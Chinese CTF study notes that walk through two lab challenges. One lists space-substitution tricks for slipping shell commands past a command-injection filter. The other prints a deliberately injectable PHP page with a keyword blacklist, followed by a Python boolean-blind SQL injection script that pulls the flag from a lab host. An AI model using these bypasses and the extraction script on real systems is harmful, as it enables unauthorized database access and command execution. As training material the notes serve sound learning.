DASBOOK3
DASBOOK
三、第三章
1、3.1.6 案例解析Ping Ping Ping
-
代替空格的常用方法
${IFS}$9 {IFS} $IFS ${IFS} $IFS$1 //$1改成$加其他数字貌似都行 < <> {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来 %20 (space) %09 (tab)
-
靶场中常见的Ping,先试一下查看命令是否可以正常使用
可以使用并发现了flag.php的文件
-
查看flag.php文件
-
过滤空格
-
过滤flag
-
利用变量替换flag
-
查看页面源码
-
-
2、3.2.6 案例解析Hack World
-
知道表名和列名,尝试联合注入,报错注入都无法解决,过滤了很多的关键词以及注释符,关卡源码
<?php $dbuser='root'; $dbpass='root'; function safe($sql){ #被过滤的内容 函数基本没过滤 $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./'); foreach($blackList as $blackitem){ if(stripos($sql,$blackitem)){ return False; } } return True; } if(isset($_POST['id'])){ $id = $_POST['id']; }else{ die(); } $db = mysql_connect("localhost",$dbuser,$dbpass); if(!$db){ die(mysql_error()); } mysql_select_db("ctf",$db); if(safe($id)){ $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1"); if($query){ $result = mysql_fetch_array($query); if($result){ echo $result['content']; }else{ echo "Error Occured When Fetch Result."; } }else{ var_dump($query); } }else{ die("SQL Injection Checked."); }
-
尝试用盲注,页面会显示正确和错误的一些信息,所以用布尔盲注
-
列名和表名已知,可以写一段脚本来获得flag
import requests url = "http://bf8576cc-65fd-4b95-b4f5-fd48c8d6fcd5.node4.buuoj.cn:81/index.php" def get_flag(): for i in range(60): for j in range(33, 127): post_data = { 'id': 'if(ascii(substr((select(flag)from(flag)),{},1))={},1,2)'.format(i, j) } res = requests.post(url=url,data=post_data) if 'Hello' in res.text: print(chr(j), end='') break get_flag()
运行结果: